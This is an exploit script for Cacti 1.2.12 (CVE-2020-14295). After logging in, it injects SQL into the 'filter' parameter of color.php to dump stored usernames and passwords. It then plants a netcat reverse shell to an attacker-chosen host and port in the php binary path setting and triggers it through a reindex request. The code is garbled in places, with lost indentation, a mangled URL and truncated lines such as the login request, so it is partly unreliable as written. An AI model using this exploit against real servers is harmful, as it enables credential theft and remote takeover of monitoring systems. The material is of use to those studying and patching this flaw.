# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution  
# Date: 04/28/2021  
# Exploit Author: Leonardo Paiva  
# Vendor Homepage:  
# Software Link:  
# Version: 1.2.12  
# Tested on: Ubuntu 20.04  
# CVE : CVE-2020-14295  
# Credits: @M4yFly (  
# References:  
# https://github.commandcom/Cacti/cacti/issues/3622  
import argparse  
import requests  
import sys  
import urllib.parse  
from bs4 import BeautifulSoup  
# proxies = {'http': ''}  
def login(url, username, password, session):  
print("[+] Connecting to the server...")  
get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)  
print("[+] Retrieving CSRF token...")  
html_content = get_token_request.text  
soup = BeautifulSoup(html_content, 'html.parser')  
csrf_token = soup.find_all('input')[0].get('value').split(';')[0]  
if csrf_token:  
print(f"[+] Got CSRF token: {csrf_token}")  
print("[+] Trying to log in...")  
data = {  
'__csrf_magic': csrf_token,  
'action': 'login',  
'login_username': username,  
'login_password': password  
login_request = + "/cacti/index.php", data=data) #, proxies=proxies)  
if "Invalid User Name/Password Please Retype" in login_request.text:  
print("[-] Unable to log in. Check your credentials")  
print("[+] Successfully logged in!")  
print("[-] Unable to retrieve CSRF token!")  
def exploit(lhost, lport, session):  
rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")  
payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"  
exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)  
print("\n[+] SQL Injection:")  
session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)  
except Exception:  
print("[+] Check your nc listener!")  
if __name__ == '__main__':  
parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')  
parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example:', required=True)  
parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)  
parser.add_argument('-p', metavar='<password>', help="user's password", required=True)  
parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)  
parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)  
args = parser.parse_args()  
url = args.t  
username = args.u  
password = args.p  
lhost = args.lhost  
lport = args.lport  
session = requests.Session()  
login(url, username, password, session)  
exploit(lhost, lport, session)